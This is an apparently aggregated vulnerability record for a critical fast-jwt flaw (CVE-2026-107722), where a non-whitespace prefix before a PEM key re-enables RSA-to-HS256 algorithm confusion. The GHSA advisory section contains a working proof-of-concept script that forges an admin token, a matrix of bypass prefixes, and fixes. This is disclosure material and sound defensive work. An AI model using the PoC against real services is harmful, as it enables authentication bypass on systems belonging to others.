{"id":"CVE-2026-107722","revision":null,"records":[{"revision":"78e180561ef3450a8157109a8fb6f3c3","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-107722","aliases":[],"title":"fast-jwt: Incomplete patch of CVE-2026-34950: Non-whitespace key-prefix re-enables RSA→HS256 algorithm confusion","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. From 6.2.0 until 6.3.0, fast-jwt can misclassify RSA public-key text as an HMAC secret when the key has non-whitespace content before its PEM header. In src/crypto.js, performDetectPublicKeyAlgorithms trims whitespace but publicKeyPemMatcher remains start-anchored, so comments, control characters, zero-width characters, or wrapper text can prevent PEM detection and reach the HMAC fallback. An attacker who knows the public key bytes can sign arbitrary HS256 claims with that public material when HS256 is inferred or allowed, resulting in authentication or authorization bypass. An asymmetric-only algorithm allowlist prevents the attack. This issue is fixed in version 6.3.0.","state":0,"publishedAt":"2026-10-08T21:49:55.888+00:00","modifiedAt":"2026-10-13T16:26:25.79+00:00","affected":[{"ecosystem":"Vendor product","name":"fast-jwt","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"nearform\",\n                    \"product\": \"fast-jwt\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 6.2.0, < 6.3.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/nearform/fast-jwt/security/advisories/GHSA-ww5h-9m49-7xx4","https://github.com/nearform/fast-jwt/pull/632","https://github.com/nearform/fast-jwt/commit/d96bbc6c5336055a6dbfa318fdbab01197264cfa","https://github.com/nearform/fast-jwt/releases/tag/v6.3.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-107722","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-107722","identifiers":["CVE-2026-107722"]},"retained":false,"historicalAffected":[]},{"revision":"2777d19461bc45138adf23d94eda4847","observedAt":"2026-11-09T07:04:48.563+00:00","statement":{"source":"euvd","id":"EUVD-2026-95347","aliases":["CVE-2026-107722","GHSA-ww5h-9m49-7xx4"],"title":"fast-jwt provides fast JSON Web Token (JWT) implementation. From 6.2.0 until 6.3.0, fast-jwt can misclassify RSA public-key text as an HMAC secret when the key has non-whitespace content before its PEM header. In src/crypto.js, performDetec…","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. From 6.2.0 until 6.3.0, fast-jwt can misclassify RSA public-key text as an HMAC secret when the key has non-whitespace content before its PEM header. In src/crypto.js, performDetectPublicKeyAlgorithms trims whitespace but publicKeyPemMatcher remains start-anchored, so comments, control characters, zero-width characters, or wrapper text can prevent PEM detection and reach the HMAC fallback. An attacker who knows the public key bytes can sign arbitrary HS256 claims with that public material when HS256 is inferred or allowed, resulting in authentication or authorization bypass. An asymmetric-only algorithm allowlist prevents the attack. This issue is fixed in version 6.3.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":null}],"references":["https://github.com/nearform/fast-jwt/security/advisories/GHSA-ww5h-9m49-7xx4","https://github.com/nearform/fast-jwt/pull/632","https://github.com/nearform/fast-jwt/commit/d96bbc6c5336055a6dbfa318fdbab01197264cfa","https://github.com/nearform/fast-jwt/releases/tag/v6.3.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-95347","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 8, 2026, 9:49:55 PM","dateUpdated":"Oct 13, 2026, 4:26:25 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-95347","identifiers":["EUVD-2026-95347","CVE-2026-107722","GHSA-ww5h-9m49-7xx4"]},"retained":false,"historicalAffected":[]},{"revision":"5b9b311b320c4ab7b8218ff484814fbd","observedAt":"2026-10-25T05:17:13.11+00:00","statement":{"source":"nvd","id":"CVE-2026-107722","aliases":[],"title":"fast-jwt provides fast JSON Web Token (JWT) implementation. From 6.2.0 until 6.3.0, fast-jwt can misclassify RSA public-key text as an HMAC secret when the key has non-whitespace content before its PEM header. In src/crypto.js, performDetec…","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. From 6.2.0 until 6.3.0, fast-jwt can misclassify RSA public-key text as an HMAC secret when the key has non-whitespace content before its PEM header. In src/crypto.js, performDetectPublicKeyAlgorithms trims whitespace but publicKeyPemMatcher remains start-anchored, so comments, control characters, zero-width characters, or wrapper text can prevent PEM detection and reach the HMAC fallback. An attacker who knows the public key bytes can sign arbitrary HS256 claims with that public material when HS256 is inferred or allowed, resulting in authentication or authorization bypass. An asymmetric-only algorithm allowlist prevents the attack. This issue is fixed in version 6.3.0.","state":0,"publishedAt":"2026-10-08T22:17:28.447+00:00","modifiedAt":"2026-10-13T17:17:16.97+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/nearform/fast-jwt/commit/d96bbc6c5336055a6dbfa318fdbab01197264cfa","https://github.com/nearform/fast-jwt/pull/632","https://github.com/nearform/fast-jwt/releases/tag/v6.3.0","https://github.com/nearform/fast-jwt/security/advisories/GHSA-ww5h-9m49-7xx4"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107722","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-347"],"productCriteria":[],"sourceDates":{"published":"2026-10-08T22:17:28.447","lastModified":"2026-10-13T17:17:16.970"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-107722","identifiers":["CVE-2026-107722"]},"retained":false,"historicalAffected":[]},{"revision":"9aa3fe4241b6421cb30328db29943a39","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-ww5h-9m49-7xx4","aliases":["CVE-2026-107722"],"title":"fast-jwt: Incomplete patch of CVE-2026-34950: Non-whitespace key-prefix re-enables RSA→HS256 algorithm confusion","description":"### Summary\n\nThe fix for CVE-2026-34950 (CVSS 9.1, released in v6.2.0) is **incomplete**. It adds `key.trim()` to the PEM-detection path in `src/crypto.js`, but `String.prototype.trim()` only strips characters classified as whitespace by the ECMAScript specification. The subsequent `^`-anchored regex (`/^-----BEGIN(?: (RSA))? PUBLIC KEY-----/`) still requires the PEM header at position 0 — so **any non-whitespace leading byte** (control chars, zero-width unicode, `#` comments, HTTP-style headers, PGP wrappers) bypasses detection and falls through to the HMAC verification path, using the RSA public key as the HMAC shared secret. Net result: the **exact same RSA→HS256 algorithm-confusion attack** the original CVE addressed is fully re-enabled with a slightly different leading byte.\n\n**Attack prerequisites are identical to CVE-2026-34950**: attacker knows the target's public RSA key (which is public by definition), and the target loads that key from a source whose content may have a non-whitespace prefix (DB column with corrupted encoding, YAML config with inline comment, copy-paste from formatted document, etc.).\n\n**Verified on fast-jwt@6.2.2 (latest as of 2026-04-23) with a 10-line PoC.**\n\n### Details\n\nPost-patch code (`src/crypto.js`, lines ~74-171 in `performDetectPublicKeyAlgorithms`):\n\n```js\nfunction performDetectPublicKeyAlgorithms(key) {\n    const trimmedKey = key.trim()  // <-- CVE-2026-34950 patch added this\n    if (publicKeyPemMatcher.test(trimmedKey)) {\n        // treat as RSA/EC public key\n        ...\n    }\n    // fall-through: treat as HMAC secret  <-- bug: reachable via non-whitespace prefix\n    ...\n}\nconst publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/\n```\n\n**The bug**: `String.prototype.trim()` only strips whitespace (U+0009-U+000D, U+0020, U+00A0, U+1680, U+2000-U+200A, U+2028-U+2029, U+202F, U+205F, U+3000, U+FEFF). Non-whitespace leading bytes keep the PEM header off position 0, the `^`-anchored regex fails, and execution falls through to the HMAC path with `key` being used as the shared secret. The attacker controls the token signature (signed with the same public key) and the verifier accepts.\n\nIdentical root cause as CVE-2026-34950 — the fix was textually narrow (whitespace only) rather than addressing the class (any surrounding content).\n\n### PoC\n\n```js\n'use strict';\nconst { createHmac, generateKeyPairSync } = require('node:crypto');\nconst { createVerifier } = require('fast-jwt');\n\nconst { publicKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });\nconst pem = publicKey.export({ type: 'pkcs1', format: 'pem' }).toString();\n\n// Attacker-controlled \"key\" content as loaded by the verifier\n// (models a realistic deployment: key with a leading metadata comment)\nconst key = '# some comment\\n' + pem;\n\nconst header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');\nconst payload = Buffer.from(JSON.stringify({ admin: true, sub: 'attacker' })).toString('base64url');\nconst sig = createHmac('sha256', key).update(header + '.' + payload).digest('base64url');\nconst forgedToken = header + '.' + payload + '.' + sig;\n\nconst verifier = createVerifier({ key });\nconsole.log('Forged token payload:', verifier(forgedToken));\nconsole.log('Package version:', require('fast-jwt/package.json').version);\n```\n\n**Observed output (2026-04-23, fresh npm install):**\n```\nForged token payload: { admin: true, sub: 'attacker' }\nPackage version: 6.2.2\n```\n\n### Full bypass matrix (all verified accepting a forged admin token)\n\n| Leading content | Accepted as admin? |\n|---|:-:|\n| `# some comment\\n` + PEM | ✅ BYPASS |\n| `U+0000` (NUL) + PEM | ✅ BYPASS |\n| `U+0001` (SOH) + PEM | ✅ BYPASS |\n| `U+0008` (BACKSPACE) + PEM | ✅ BYPASS |\n| `U+001B` (ESC, ANSI-color) + PEM | ✅ BYPASS |\n| `U+007F` (DEL) + PEM | ✅ BYPASS |\n| `U+200B` (ZWSP) + PEM | ✅ BYPASS |\n| `U+200D` (ZWJ) + PEM | ✅ BYPASS |\n| `HTTP/1.1 200 OK\\r\\n\\r\\n` + PEM | ✅ BYPASS |\n| PGP-wrapper text + PEM | ✅ BYPASS |\n| `.` + PEM | ✅ BYPASS |\n| `U+FEFF` (BOM) + PEM | ❌ correctly stripped by trim |\n\n### Defense matrix (which caller configs are vulnerable)\n\n| Caller config | Vulnerable? |\n|---|:-:|\n| `createVerifier({ key })` (no `algorithms` allowlist) | ✗ VULNERABLE |\n| `createVerifier({ key: asyncCallback })` | ✗ VULNERABLE |\n| `createVerifier({ key, algorithms: ['RS256'] })` | ✓ protected |\n| `createVerifier({ key, algorithms: ['HS256'] })` | ✗ VULNERABLE (attacker matches) |\n\n### Impact\n\n1. **Authentication bypass** — attacker forges arbitrary JWT claims (admin, tenant-id, user-id) accepted by any server using fast-jwt 6.2.x without an `algorithms` allowlist AND loading its verification key from a source that may contain non-whitespace prefix bytes.\n2. **Severity-parity with CVE-2026-34950** — attack chain, prerequisites, exploitation ease, and impact are identical; only the trigger byte differs. The fix addressed *one* trigger (whitespace) rather than the class (any surrounding content before `-----BEGIN`).\n3. **Broad fast-jwt deployment** — default JWT backend of `@fastify/jwt`; used by many Fastify-based Node.js APIs.\n\n### Suggested fix\n\n**Option A (minimal)** — locate the PEM block rather than anchoring on position 0:\n\n```js\nconst pemStart = trimmedKey.indexOf('-----BEGIN')\nif (pemStart !== -1 && publicKeyPemMatcher.test(trimmedKey.slice(pemStart))) { ... }\n```\n\n**Option B (strict, recommended)** — require the key to be exactly a PEM block:\n\n```js\nconst pemMatch = /-----BEGIN (RSA )?PUBLIC KEY-----[\\s\\S]+?-----END \\1?PUBLIC KEY-----/.exec(trimmedKey)\nif (pemMatch && pemMatch[0].trim() === trimmedKey.trim()) { /* valid PEM, no surrounding content */ }\n```\n\n**Option C (defense-in-depth, regardless of A/B)** — on the HMAC fallback path, reject any key that *contains* PEM markers:\n\n```js\nif (rawKey.includes('-----BEGIN') || rawKey.includes('-----END')) {\n    throw new Error('Key appears to be a PEM-encoded asymmetric key but did not match expected format; refusing HMAC fallback')\n}\n```\n\n### Test coverage gap\n\n`test/crypto.spec.js` post-CVE-2026-34950 only tests whitespace padding (`['\\n', ' ', ' \\n', '\\n ', '\\t\\t']`). Add coverage for:\n- Control bytes (U+0000-U+001F, U+007F)\n- Zero-width Unicode (U+200B, U+200C, U+200D, U+180E)\n- Comment prefixes (`#`, `//`, `;`, `--`)\n- Mixed-content wrappers (PGP blocks, HTTP headers)\n- Arbitrary binary prefix bytes\n\n### Credit\n\nReporter: DC INFOSEC / n0l3x — source-code review + end-to-end PoC verification.","state":0,"publishedAt":"2026-10-08T22:02:07+00:00","modifiedAt":"2026-10-08T22:15:05.8953841+00:00","affected":[{"ecosystem":"npm","name":"fast-jwt","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"6.2.0"},{"kind":"fixed","version":"6.3.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/nearform/fast-jwt/security/advisories/GHSA-ww5h-9m49-7xx4","https://github.com/nearform/fast-jwt/pull/632","https://github.com/nearform/fast-jwt/commit/d96bbc6c5336055a6dbfa318fdbab01197264cfa","https://github.com/nearform/fast-jwt","https://github.com/nearform/fast-jwt/releases/tag/v6.3.0"],"sourceUrl":"https://github.com/advisories/GHSA-ww5h-9m49-7xx4","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-ww5h-9m49-7xx4","identifiers":["GHSA-ww5h-9m49-7xx4","CVE-2026-107722"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-10T07:03:58.7434242+00:00","complete":true,"records":1773,"lastAttemptAt":"2026-11-10T07:03:58.7434242+00:00","lastSuccessAt":"2026-11-10T07:03:59.0484779+00:00","error":null,"lastVerifiedAt":"2026-11-10T07:03:59.048478+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8859cf40d4337e24bd2f258cc7778fbad01bb24c79d057aaf34cf1dfc6f8917d-91b398b0ac92bbc624d45e98f488e711d54c8f459586081e22df0a998ae56dce","complete":true,"records":421905,"lastAttemptAt":"2026-11-10T07:02:14.6737831+00:00","lastSuccessAt":"2026-11-10T07:02:14.6206389+00:00","error":null,"lastVerifiedAt":"2026-11-10T07:02:14.6737831+00:00","snapshotPublishedAt":"2026-11-10T06:31:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2e6a476534094233b48f2f0b6da5cf35","complete":true,"records":13689,"lastAttemptAt":"2026-11-10T07:04:24.75366+00:00","lastSuccessAt":"2026-11-10T06:05:35.03+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:05:35.03+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13742,"expectedIdentifiers":13742,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-10T07:03:58.7434242+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-10T07:03:58.7434242+00:00","lastSuccessAt":"2026-11-10T07:03:59.049149+00:00","error":null,"lastVerifiedAt":"2026-11-10T07:03:59.049149+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-d71a61bd41e147f4a9126c2a3d45b565","complete":false,"records":13695,"lastAttemptAt":"2026-11-10T07:04:24.141829+00:00","lastSuccessAt":"2026-11-10T07:04:24.138+00:00","error":"100 identifier lookups failed; latest failures include request timeout. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-10T07:04:24.138+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13642,"expectedIdentifiers":13742,"failedIdentifiers":100},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-cdffb4589856378aa42e8d1bd4a6c74e27a180d8160bf764c44715ef760f0a62","complete":true,"records":9932,"lastAttemptAt":"2026-11-10T07:03:58.6990249+00:00","lastSuccessAt":"2026-11-10T00:04:19.8260565+00:00","error":null,"lastVerifiedAt":"2026-11-10T07:03:58.6990249+00:00","snapshotPublishedAt":"2026-11-09T23:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-26503967ae4379db8f374089589d6e03fb15bd31f820c9e992aaf93840c2236c","complete":true,"records":1971,"lastAttemptAt":"2026-11-10T07:02:14.8606265+00:00","lastSuccessAt":"2026-11-09T21:02:20.472473+00:00","error":null,"lastVerifiedAt":"2026-11-10T07:02:14.8606265+00:00","snapshotPublishedAt":"2026-11-09T20:18:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-14f555fdbdce5e9103ab1251a692b612ea1fcd0b3d538af6015a071f4b299249","complete":true,"records":3065,"lastAttemptAt":"2026-11-10T07:03:58.7132407+00:00","lastSuccessAt":"2026-11-10T06:04:36.7449268+00:00","error":null,"lastVerifiedAt":"2026-11-10T07:03:58.7132407+00:00","snapshotPublishedAt":"2026-11-10T05:33:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-d4d3fe345e4cd6b7d1a871cd960b91062a9e5364cd12e8b83dd56ff53c80f866","complete":true,"records":231596,"lastAttemptAt":"2026-11-10T07:03:58.5742559+00:00","lastSuccessAt":"2026-11-10T07:03:57.1903356+00:00","error":null,"lastVerifiedAt":"2026-11-10T07:03:58.5742559+00:00","snapshotPublishedAt":"2026-11-10T06:33:16+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}